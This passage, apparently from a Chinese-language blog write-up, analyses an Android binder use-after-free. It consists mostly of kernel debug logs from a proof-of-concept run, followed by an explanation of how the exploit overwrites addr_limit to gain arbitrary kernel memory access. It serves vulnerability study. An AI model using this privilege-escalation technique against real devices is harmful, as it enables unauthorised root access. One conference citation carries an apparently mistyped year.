89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
********** 0 *********
POC: binder_thread_release: current = ffffffc0575e5e80
POC: binder_thread_release: thread = ffffffc0571da200 wait = ffffffc0571da2a0 task_list = ffffffc0571da2a8 prev = ffffffc0571da2b0 next = ffffffc0571da2a8
POC: rw_copy_check_uvector: iov = ffffffc0571da200 iovlen = 0x19

********** 1 *********
POCDEMO BE: copy_to_iter: addr=0xffffffc0571dae00 bytes=0x1
POCDEMO BE: copy_to_iter: iov=0xffffffc0576b3e78 type=0x0 offset=0x0 count=0x31 iov=ffffffc0571da200 segs=0x19 iov->base=0x (null)=0x0 iov->len=0x0
POCDEMO BE: copy_to_iter: 0xffffffc0571dae00 --> 0xffffffc0571da058

POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da200 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da208 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da210 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da218 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da220 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da228 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da230 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da238 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da240 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da248 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da250 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da258 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da260 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da268 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da270 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da278 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da280 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da288 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da290 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da298 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2a0 --> 0x100000000
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2a8 --> 0x1
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2b0 --> 0xdeadbeef
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2b8 --> 0x28
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2c0 --> 0xbeefdead
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2c8 --> 0x8
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2d0 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2d8 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2e0 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2e8 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2f0 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2f8 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da300 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da308 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da310 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da318 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da320 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da328 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da330 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da338 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da340 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da348 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da350 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da358 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da360 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da368 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da370 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da378 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da380 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da388 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da390 --> 0xffffffc0575e5e80
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da398 --> 0x0

POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2b0 --> 0xdeadbeef
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2b8 --> 0x28
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2c0 --> 0xbeefdead
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2c8 --> 0x8
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2d0 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2d8 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2e0 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2e8 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2f0 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2f8 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da300 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da308 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da310 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da318 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da320 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da328 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da330 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da338 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da340 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da348 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da350 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da358 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da360 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da368 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da370 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da378 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da380 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da388 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da390 --> 0xffffffc0575e5e80
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da398 --> 0x0
POCDEMO AF: copy_to_iter bytes=0x1


********** 2 *********
POCDEMO_BEFOR: remove_wait_queue: wait = ffffffc057177840 task_list = ffffffc057177858 prev = ffffffc057177860 next = ffffffc057177858
POCDEMO_BEFOR: remove_wait_queue: whead = ffffffc0571da2a0 task_list = ffffffc0571da2a8 prev = ffffffc0571da2b0 next = ffffffc0571da2a8
POCDEMO_BEFOR: remove_wait_queue: 0x100000000 0x1 0xdeadbeef 0x28
POCDEMO_DEMOE: remove_wait_queue: [1] 0x100010000 0x1 0xdeadbeef 0x28
POCDEMO_DEMOE: remove_wait_queue: [2] 0x100010000 0xffffffc0571da2a8 0xffffffc0571da2a8 0x28
POCDEMO_AFTER: remove_wait_queue: wait = ffffffc057177840 task_list = ffffffc057177858 prev = ffffffc057177860 next = ffffffc057177858
POCDEMO_AFTER: remove_wait_queue: whead = ffffffc0571da2a0 task_list = ffffffc0571da2a8 prev = ffffffc0571da2b0 next = ffffffc0571da2a8
POCDEMO_AFTER: remove_wait_queue: 0x100010001 0xffffffc0571da2a8 0xffffffc0571da2a8 0x28


********** 3 *********
POCDEMO BE: copy_to_iter: addr=0xffffffc057623c00 bytes=0x30
POCDEMO BE: copy_to_iter: iov=0xffffffc0576b3e78 type=0x0 offset=0x0 count=0x30 iov=ffffffc0571da2b0 segs=0xe iov->base=0xffffffc0571da2a8=0xffffffc0571da2a8 iov->len=0x28
POCDEMO BE: copy_to_iter: 0xffffffc057623c00 --> 0x1
POCDEMO BE: copy_to_iter: 0xffffffc057623c08 --> 0xdeadbeef
POCDEMO BE: copy_to_iter: 0xffffffc057623c10 --> 0x28
POCDEMO BE: copy_to_iter: 0xffffffc057623c18 --> 0xffffffc0575e5e88
POCDEMO BE: copy_to_iter: 0xffffffc057623c20 --> 0x8
POCDEMO BE: copy_to_iter: 0xffffffc057623c28 --> 0xfffffffffffffffe
POCDEMO BE: copy_to_iter: 0xffffffc057623c30 --> 0x8

POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2b0 --> 0xffffffc0571da2a8
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2b8 --> 0x28
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2c0 --> 0xbeefdead
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2c8 --> 0x8
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2d0 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2d8 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2e0 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2e8 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2f0 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da2f8 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da300 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da308 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da310 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da318 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da320 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da328 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da330 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da338 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da340 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da348 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da350 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da358 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da360 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da368 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da370 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da378 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da380 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da388 --> 0x0
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da390 --> 0xffffffc0575e5e80
POCDEMO BE: copy_to_iter: iov value 0xffffffc0571da398 --> 0x0

POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2d0 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2d8 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2e0 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2e8 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2f0 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da2f8 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da300 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da308 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da310 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da318 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da320 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da328 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da330 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da338 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da340 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da348 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da350 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da358 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da360 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da368 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da370 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da378 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da380 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da388 --> 0x0
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da390 --> 0xffffffc0575e5e80
POCDEMO AF: copy_to_iter: iov value 0xffffffc0571da398 --> 0x0
POCDEMO AF: copy_to_iter bytes=0x30

分析这份日志,可得出写 addr_limit 的过程。简单来说,0 处日志 recvmsg 占位刚释放的 binder_thread 内存;1 处日志将 1 字节数据写入到 0x100000000dummy_page_4g_aligned 内存处,然后 recvmsg 阻塞住等待写端数据到来;2 处触发漏洞,将 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base 更改为 binder_thread 中的 task_list.next 地址 0xffffffc0571da2a8;3 处表明从 0xffffffc0571da2a8 开始写 0x28 字节,也就是 second_write_chunk 的前 5 个数据,注意 0xffffffc0571da2a8 所在的内存地址是 0xffffffc0571da2b0,写入过程的数据变化:

写之前:

1
2
3
4
5
iov value 0xffffffc0571da2a8 --> ?
iov value 0xffffffc0571da2b0 --> 0xffffffc0571da2a8
iov value 0xffffffc0571da2b8 --> 0x28
iov value 0xffffffc0571da2c0 --> 0xbeefdead
iov value 0xffffffc0571da2c8 --> 0x8

写之后:

1
2
3
4
5
iov value 0xffffffc0571da2a8 --> 0x1
iov value 0xffffffc0571da2b0 --> 0xdeadbeef
iov value 0xffffffc0571da2b8 --> 0x28
iov value 0xffffffc0571da2c0 --> addr_limit(current_ptr + 0x8)
iov value 0xffffffc0571da2c8 --> 0x8

继续往下写,原 iov 地址 0xbeefdead,变成了 addr_limit 地址,也就是向 addr_limit 处写入 0x8 大小的数据 0xfffffffffffffffe,这样就打开了 addr_limit 的限制,接下来可以随意访问内核。

总结

以上就是对该 binder 漏洞的简要分析。

2019-12-10 update: 增加 google pj0 和一个国外小哥对该漏洞的解读和 root 尝试参考链接 2020-02-22 update: 增加 Maddie Stone 在 OffsensiveCon 2010 会议上关于此漏洞的演讲

参考